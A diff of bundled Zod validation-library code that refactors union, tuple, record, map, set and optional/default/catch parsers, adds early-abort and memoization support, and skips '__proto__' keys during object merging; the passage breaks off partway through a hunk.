@@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => payload = fastpass(payload, ctx); if (!catchall) return payload; - return handleCatchall([], input, payload, ctx, value, inst); + return handleCatchall([], input2, payload, ctx, value, inst, ctx?.abortEarly === true); } return superParse(payload, ctx); }; @@ -57946,17 +58481,17 @@ function handleUnionResults(results, final, inst, ctx) { } var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.options.some((o) => o._zod.optin === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "optout", () => def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "values", () => { - if (def.options.every((o) => o._zod.values)) { - return new Set(def.options.flatMap((option) => Array.from(option._zod.values))); + defineLazyInternal(inst, "optin", (zod) => zod.def.options.some((o) => o._zod.optin === "defaulted") ? "defaulted" : zod.def.options.some((o) => o._zod.optin !== void 0) ? "optional" : void 0); + defineLazyInternal(inst, "optout", (zod) => zod.def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); + defineLazyInternal(inst, "values", (zod) => { + if (zod.def.options.every((o) => o._zod.values)) { + return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values))); } return void 0; }); - defineLazy(inst._zod, "pattern", () => { - if (def.options.every((o) => o._zod.pattern)) { - const patterns = def.options.map((o) => o._zod.pattern); + defineLazyInternal(inst, "pattern", (zod) => { + if (zod.def.options.every((o) => o._zod.pattern)) { + const patterns = zod.def.options.map((o) => o._zod.pattern); return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join("|")})$`); } return void 0; @@ -57990,12 +58525,16 @@ var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { }; }); function handleExclusiveUnionResults(results, final, inst, ctx) { - const successes = results.filter((r) => r.issues.length === 0); - if (successes.length === 1) { - final.value = successes[0].value; + const matches = []; + for (let i = 0; i < results.length; i++) { + if (results[i].issues.length === 0) + matches.push(i); + } + if (matches.length === 1) { + final.value = results[matches[0]].value; return final; } - if (successes.length === 0) { + if (matches.length === 0) { final.issues.push({ code: "invalid_union", input: final.value, @@ -58008,7 +58547,8 @@ function handleExclusiveUnionResults(results, final, inst, ctx) { input: final.value, inst, errors: [], - inclusive: false + inclusive: false, + matches }); } return final; @@ -58042,55 +58582,83 @@ var $ZodXor = /* @__PURE__ */ $constructor("$ZodXor", (inst, def) => { }); }; }); +function getDiscriminatedOption(union3, value) { + const internals = union3._zod; + let map2 = internals.bag.optionsMap; + if (!map2) { + map2 = discriminatorMap(internals.def); + internals.bag.optionsMap = map2; + } + const option = map2.get(value); + if (option === null) + throw new Error(`Ambiguous discriminator value "${String(value)}"`); + return option; +} +function discriminatorMap(def) { + const map2 = /* @__PURE__ */ new Map(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + for (const value of values2) { + if (map2.has(value)) { + if (value !== void 0) + throw new Error(`Duplicate discriminator value "${String(value)}"`); + map2.set(value, null); + } else { + map2.set(value, option); + } + } + } + return map2; +} var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnion", (inst, def) => { def.inclusive = false; $ZodUnion.init(inst, def); const _super = inst._zod.parse; - defineLazy(inst._zod, "propValues", () => { + defineLazyInternal(inst, "propValues", (zod) => { const propValues = {}; - for (const option of def.options) { + let undefinedCount = 0; + for (const option of zod.def.options) { const pv = option._zod.propValues; if (!pv || Object.keys(pv).length === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + throw new Error(`Invalid discriminated union option at index "${zod.def.options.indexOf(option)}"`); + if (pv[zod.def.discriminator]?.has(void 0)) + undefinedCount++; for (const [k, v] of Object.entries(pv)) { - if (!propValues[k]) - propValues[k] = /* @__PURE__ */ new Set(); + if (!Object.prototype.hasOwnProperty.call(propValues, k)) { + assignProp(propValues, k, /* @__PURE__ */ new Set()); + } for (const val of v) { propValues[k].add(val); } } } + if (!zod.def.unionFallback && undefinedCount > 1) + propValues[zod.def.discriminator]?.delete(void 0); return propValues; }); - const disc = cached(() => { - const opts = def.options; - const map2 = /* @__PURE__ */ new Map(); - for (const o of opts) { - const values2 = o._zod.propValues?.[def.discriminator]; - if (!values2 || values2.size === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(o)}"`); - for (const v of values2) { - if (map2.has(v)) { - throw new Error(`Duplicate discriminator value "${String(v)}"`); - } - map2.set(v, o); - } + def.options.forEach((option, i) => { + const propShape = rawShape(option._zod.def); + if (propShape && !Object.prototype.hasOwnProperty.call(propShape, def.discriminator)) { + throw new Error(`Invalid discriminated union option at index "${i}"`); } - return map2; }); + const disc = cached(() => discriminatorMap(def)); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isObject2(input)) { + const input2 = payload.value; + if (!isObject2(input2)) { payload.issues.push({ code: "invalid_type", expected: "object", - input, + input: input2, inst }); return payload; } - const opt = disc.value.get(input?.[def.discriminator]); - if (opt) { + const value = input2?.[def.discriminator]; + const opt = disc.value.get(value); + if (opt && (value !== void 0 || ctx.direction !== "backward")) { return opt._zod.run(payload, ctx); } if (def.unionFallback || ctx.direction === "backward") { @@ -58101,8 +58669,8 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio errors: [], note: "No matching discriminator", discriminator: def.discriminator, - options: Array.from(disc.value.keys()), - input, + options: Array.from(disc.value.keys()).filter((value2) => disc.value.get(value2) !== null), + input: input2, path: [def.discriminator], inst }); @@ -58112,9 +58680,9 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio var $ZodIntersection = /* @__PURE__ */ $constructor("$ZodIntersection", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - const left = def.left._zod.run({ value: input, issues: [] }, ctx); - const right = def.right._zod.run({ value: input, issues: [] }, ctx); + const input2 = payload.value; + const left = def.left._zod.run({ value: input2, issues: [] }, ctx); + const right = def.right._zod.run({ value: input2, issues: [] }, ctx); const async = left instanceof Promise || right instanceof Promise; if (async) { return Promise.all([left, right]).then(([left2, right2]) => { @@ -58135,7 +58703,11 @@ function mergeValues(a, b2) { const bKeys = Object.keys(b2); const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1); const newObj = { ...a, ...b2 }; + if (Object.prototype.hasOwnProperty.call(newObj, "__proto__")) + delete newObj.__proto__; for (const key of sharedKeys) { + if (key === "__proto__") + continue; const sharedValue = mergeValues(a[key], b2[key]); if (!sharedValue.valid) { return { @@ -58171,37 +58743,49 @@ function mergeValues(a, b2) { function handleIntersectionResults(result, left, right) { const unrecKeys = /* @__PURE__ */ new Map(); let unrecIssue; - for (const iss of left.issues) { - if (iss.code === "unrecognized_keys") { + const keyIssues = /* @__PURE__ */ new Map(); + const collect = (iss, side) => { + let keys; + if (iss.code === "unrecognized_keys" && !iss.path?.length) { unrecIssue ?? (unrecIssue = iss); - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).l = true; - } + keys = iss.keys; + } else if (iss.code === "invalid_key" && iss.origin === "record" && iss.path?.length === 1) { + const k = String(iss.path[0]); + if (!keyIssues.has(k)) + keyIssues.set(k, iss); + keys = [k]; } else { - result.issues.push(iss); + return false; + } + for (const k of keys) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k)[side] = true; } + return true; + }; + for (const iss of left.issues) { + if (!collect(iss, "l")) + result.issues.push(iss); } for (const iss of right.issues) { - if (iss.code === "unrecognized_keys") { - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).r = true; - } - } else { + if (!collect(iss, "r")) result.issues.push(iss); - } } const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k); - if (bothKeys.length && unrecIssue) { - result.issues.push({ ...unrecIssue, keys: bothKeys }); + if (bothKeys.length) { + const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : []; + if (aggregated.length) + result.issues.push({ ...unrecIssue, keys: aggregated }); + for (const k of bothKeys) { + if (!aggregated.includes(k) && keyIssues.has(k)) + result.issues.push(keyIssues.get(k)); + } } - if (aborted(result)) - return result; const merged = mergeValues(left.value, right.value); if (!merged.valid) { + if (aborted(result)) + return result; throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`); } result.value = merged.data; @@ -58210,59 +58794,71 @@ function handleIntersectionResults(result, left, right) { var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { $ZodType.init(inst, def); const items = def.items; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ - input, + input: input2, inst, expected: "tuple", code: "invalid_type" }); return payload; } - payload.value = []; + payload.value = memo2 ? memo2.alloc(inst, payload, [], ctx) : []; const proms = []; const optinStart = getTupleOptStart(items, "optin"); const optoutStart = getTupleOptStart(items, "optout"); if (!def.rest) { - if (input.length < optinStart) { + if (input2.length < optinStart) { payload.issues.push({ code: "too_small", minimum: optinStart, inclusive: true, - input, + input: input2, inst, origin: "array" }); return payload; } - if (input.length > items.length) { + if (input2.length > items.length) { payload.issues.push({ code: "too_big", maximum: items.length, inclusive: true, - input, + input: input2, inst, origin: "array" }); } } const itemResults = new Array(items.length); + const abortEarly = def.rest ? ctx?.abortEarly : void 0; + let itemAborted = false; for (let i = 0; i < items.length; i++) { - const r = items[i]._zod.run({ value: input[i], issues: [] }, ctx); + const r = items[i]._zod.run({ value: input2[i], issues: [] }, ctx); if (r instanceof Promise) { proms.push(r.then((rr) => { itemResults[i] = rr; })); } else { itemResults[i] = r; + if (abortEarly && !itemAborted && r.issues.length) + itemAborted = aborted(r); } } - if (def.rest) { + if (def.rest && !itemAborted) { let i = items.length - 1; - const rest = input.slice(items.length); + const rest = input2.slice(items.length); + let seen = payload.issues.length; for (const el of rest) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } i++; const result = def.rest._zod.run({ value: el, issues: [] }, ctx); if (result instanceof Promise) { @@ -58273,14 +58869,15 @@ var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { } } if (proms.length) { - return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input, optoutStart)); + return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input2, optoutStart)); } - return handleTupleResults(itemResults, payload, items, input, optoutStart); + return handleTupleResults(itemResults, payload, items, input2, optoutStart); }; }); function getTupleOptStart(items, key) { for (let i = items.length - 1; i >= 0; i--) { - if (items[i]._zod[key] !== "optional") + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) return i + 1; } return 0; @@ -58291,10 +58888,14 @@ function handleTupleResult(result, final, index2) { } final.value[index2] = result.value; } -function handleTupleResults(itemResults, final, items, input, optoutStart) { +function handleTupleResults(itemResults, final, items, input2, optoutStart) { for (let i = 0; i < items.length; i++) { const r = itemResults[i]; - const isPresent = i < input.length; + const isPresent = i < input2.length; + if (!isPresent && i >= optoutStart && items[i]._zod.optin === "optional") { + final.value.length = i; + break; + } if (r.issues.length) { if (!isPresent && i >= optoutStart) { final.value.length = i; @@ -58304,7 +58905,7 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } final.value[i] = r.value; } - for (let i = final.value.length - 1; i >= input.length; i--) { + for (let i = final.value.length - 1; i >= input2.length; i--) { if (items[i]._zod.optout === "optional" && final.value[i] === void 0) { final.value.length = i; } else { @@ -58315,25 +58916,29 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isPlainObject(input)) { + const input2 = payload.value; + if (!isPlainObject(input2)) { payload.issues.push({ expected: "record", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; const values2 = def.keyType._zod.values; - if (values2) { - payload.value = {}; + if (values2 && !def.partial) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const recordKeys = /* @__PURE__ */ new Set(); for (const key of values2) { if (typeof key === "string" || typeof key === "number" || typeof key === "symbol") { recordKeys.add(typeof key === "number" ? key.toString() : key); + if (key === "__proto__") + continue; const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { throw new Error("Async schemas not supported in object keys currently"); @@ -58350,7 +58955,9 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { continue; } const outKey = keyResult.value; - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { @@ -58367,26 +58974,34 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } } let unrecognized; - for (const key in input) { + for (const key in input2) { if (!recordKeys.has(key)) { - unrecognized = unrecognized ?? []; - unrecognized.push(key); + if (def.mode === "loose") { + if (key === "__proto__") + continue; + payload.value[key] = input2[key]; + } else { + unrecognized = unrecognized ?? []; + unrecognized.push(key); + } } } if (unrecognized && unrecognized.length > 0) { payload.issues.push({ code: "unrecognized_keys", - input, + input: input2, inst, - keys: unrecognized + keys: unrecognized, + continue: true }); } } else { - payload.value = {}; - for (const key of Reflect.ownKeys(input)) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; + let unrecognized; + for (const key of Reflect.ownKeys(input2)) { if (key === "__proto__") continue; - if (!Object.prototype.propertyIsEnumerable.call(input, key)) + if (!Object.prototype.propertyIsEnumerable.call(input2, key)) continue; let keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { @@ -58404,7 +59019,10 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } if (keyResult.issues.length) { if (def.mode === "loose") { - payload.value[key] = input[key]; + payload.value[key] = input2[key]; + } else if (values2) { + unrecognized = unrecognized ?? []; + unrecognized.push(key); } else { payload.issues.push({ code: "invalid_key", @@ -58417,21 +59035,33 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } continue; } - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + const outKey = keyResult.value; + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { payload.issues.push(...prefixIssues(key, result2.issues)); } - payload.value[keyResult.value] = result2.value; + payload.value[outKey] = result2.value; })); } else { if (result.issues.length) { payload.issues.push(...prefixIssues(key, result.issues)); } - payload.value[keyResult.value] = result.value; + payload.value[outKey] = result.value; } } + if (unrecognized && unrecognized.length > 0) { + payload.issues.push({ + code: "unrecognized_keys", + input: input2, + inst, + keys: unrecognized, + continue: true + }); + } } if (proms.length) { return Promise.all(proms).then(() => payload); @@ -58441,36 +59071,46 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { }); var $ZodMap = /* @__PURE__ */ $constructor("$ZodMap", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Map)) { + const input2 = payload.value; + if (!(input2 instanceof Map)) { payload.issues.push({ expected: "map", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Map(); - for (const [key, value] of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Map(), ctx) : /* @__PURE__ */ new Map(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const [key, value] of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); const valueResult = def.valueType._zod.run({ value, issues: [] }, ctx); if (keyResult instanceof Promise || valueResult instanceof Promise) { proms.push(Promise.all([keyResult, valueResult]).then(([keyResult2, valueResult2]) => { - handleMapResult(keyResult2, valueResult2, payload, key, input, inst, ctx); + handleMapResult(keyResult2, valueResult2, payload, key, input2, inst, ctx); })); } else { - handleMapResult(keyResult, valueResult, payload, key, input, inst, ctx); + handleMapResult(keyResult, valueResult, payload, key, input2, inst, ctx); } } if (proms.length) return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, mapSize); }); -function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { +function handleMapResult(keyResult, valueResult, final, key, input2, inst, ctx) { if (keyResult.issues.length) { if (propertyKeyTypes.has(typeof key)) { final.issues.push(...prefixIssues(key, keyResult.issues)); @@ -58478,7 +59118,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ code: "invalid_key", origin: "map", - input, + input: input2, inst, issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) }); @@ -58491,7 +59131,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ origin: "map", code: "invalid_element", - input, + input: input2, inst, key, issues: valueResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) @@ -58502,11 +59142,13 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { } var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Set)) { + const input2 = payload.value; + if (!(input2 instanceof Set)) { payload.issues.push({ - input, + input: input2, inst, expected: "set", code: "invalid_type" @@ -58514,8 +59156,15 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Set(); - for (const item of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Set(), ctx) : /* @__PURE__ */ new Set(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const item of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const result = def.valueType._zod.run({ value: item, issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => handleSetResult(result2, payload))); @@ -58526,6 +59175,7 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, setSize); }); function handleSetResult(result, final) { if (result.issues.length) { @@ -58538,16 +59188,19 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { const values2 = getEnumValues(def.entries); const valuesSet = new Set(values2); inst._zod.values = valuesSet; - inst._zod.pattern = new RegExp(`^(${values2.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === "string" ? escapeRegex(o) : o.toString()).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k)); + return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (valuesSet.has(input)) { + const input2 = payload.value; + if (valuesSet.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: values2, - input, + input: input2, inst }); return payload; @@ -58555,21 +59208,21 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { }); var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { $ZodType.init(inst, def); - if (def.values.length === 0) { - throw new Error("Cannot create literal schema with no valid values"); - } const values2 = new Set(def.values); inst._zod.values = values2; - inst._zod.pattern = new RegExp(`^(${def.values.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const vals = zod.def.values; + return new RegExp(vals.length ? `^(${vals.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (values2.has(input)) { + const input2 = payload.value; + if (values2.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: def.values, - input, + input: input2, inst }); return payload; @@ -58578,13 +59231,13 @@ var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input instanceof File) + const input2 = payload.value; + if (input2 instanceof File) return payload; payload.issues.push({ expected: "file", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -58593,16 +59246,16 @@ var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => { $ZodType.init(inst, def); inst._zod.optin = "optional"; + globalConfig.memoizer?.guard(inst); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { throw new $ZodEncodeError(inst.constructor.name); } const _out = def.transform(payload.value, payload); if (ctx.async) { - const output = _out instanceof Promise ? _out : Promise.resolve(_out); - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = _out instanceof Promise ? _out : Promise.resolve(_out); + return output2.then((output3) => { + payload.value = output3; return payload; }); } @@ -58610,59 +59263,55 @@ var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => throw new $ZodAsyncError(); } payload.value = _out; - payload.fallback = true; return payload; }; }); -function handleOptionalResult(result, input) { - if (input === void 0 && (result.issues.length || result.fallback)) { - return { issues: [], value: void 0 }; - } - return result; +function handleOptionalResult(payload, result) { + payload.value = result.issues.length ? void 0 : result.value; + return payload; } var $ZodOptional = /* @__PURE__ */ $constructor("$ZodOptional", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); inst._zod.optout = "optional"; - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + const values2 = zod.def.innerType._zod.values; + return values2 ? /* @__PURE__ */ new Set([...values2, void 0]) : void 0; }); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0; }); inst._zod.parse = (payload, ctx) => { - if (def.innerType._zod.optin === "optional") { - const input = payload.value; - const result = def.innerType._zod.run(payload, ctx); - if (result instanceof Promise) - return result.then((r) => handleOptionalResult(r, input)); - return handleOptionalResult(result, input); - } if (payload.value === void 0) { - return payload; + if (def.innerType._zod.optin !== "defaulted") + return payload; + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); + if (result instanceof Promise) + return result.then((result2) => handleOptionalResult(payload, result2)); + return handleOptionalResult(payload, result); } return def.innerType._zod.run(payload, ctx); }; }); var $ZodExactOptional = /* @__PURE__ */ $constructor("$ZodExactOptional", (inst, def) => { $ZodOptional.init(inst, def); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "pattern", () => def.innerType._zod.pattern); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "pattern", (zod) => zod.def.innerType._zod.pattern); inst._zod.parse = (payload, ctx) => { return def.innerType._zod.run(payload, ctx); }; }); var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.innerType._zod.optin); - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0; }); - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0; }); inst._zod.parse = (payload, ctx) => { if (payload.value === null) @@ -58672,8 +59321,8 @@ var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { }); var $ZodDefault = /* @__PURE__ */ $constructor("$ZodDefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58697,8 +59346,8 @@ function handleDefaultResult(payload, def) { } var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58711,8 +59360,8 @@ var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { }); var $ZodNonOptional = /* @__PURE__ */ $constructor("$ZodNonOptional", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => { - const v = def.innerType._zod.values; + defineLazyInternal(inst, "values", (zod) => { + const v = zod.def.innerType._zod.values; return v ? new Set([...v].filter((x) => x !== void 0)) : void 0; }); inst._zod.parse = (payload, ctx) => { @@ -58751,46 +59400,37 @@ var $ZodSuccess = /* @__PURE__ */ $constructor("$ZodSuccess", (inst, def) => { return payload; }; }); +function handleCatchResult(payload, result, def, ctx) { + if (!result.issues.length) { + payload.value = result.value; + if (result.memo) + payload.memo = true; + return payload; + } + payload.value = def.catchValue({ + ...result, + value: payload.value, + error: { + issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + return payload; +} var $ZodCatch = /* @__PURE__ */ $constructor("$ZodCatch", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); } - const result = def.innerType._zod.run(payload, ctx); + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); if (result instanceof Promise) { - return result.then((result2) => { - payload.value = result2.value; - if (result2.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; - } - return payload; - }); - } - payload.value = result.value; - if (result.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; + return result.then((result2) => handleCatchResult(payload, result2, def, ctx)); } - return payload; + return handleCatchResult(payload, result, def, ctx); }; }); var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { @@ -58810,10 +59450,10 @@ var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { }); var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { const right = def.out._zod.run(payload, ctx); @@ -58830,18 +59470,18 @@ var $ZodPipe = /* @__PURE__ */ 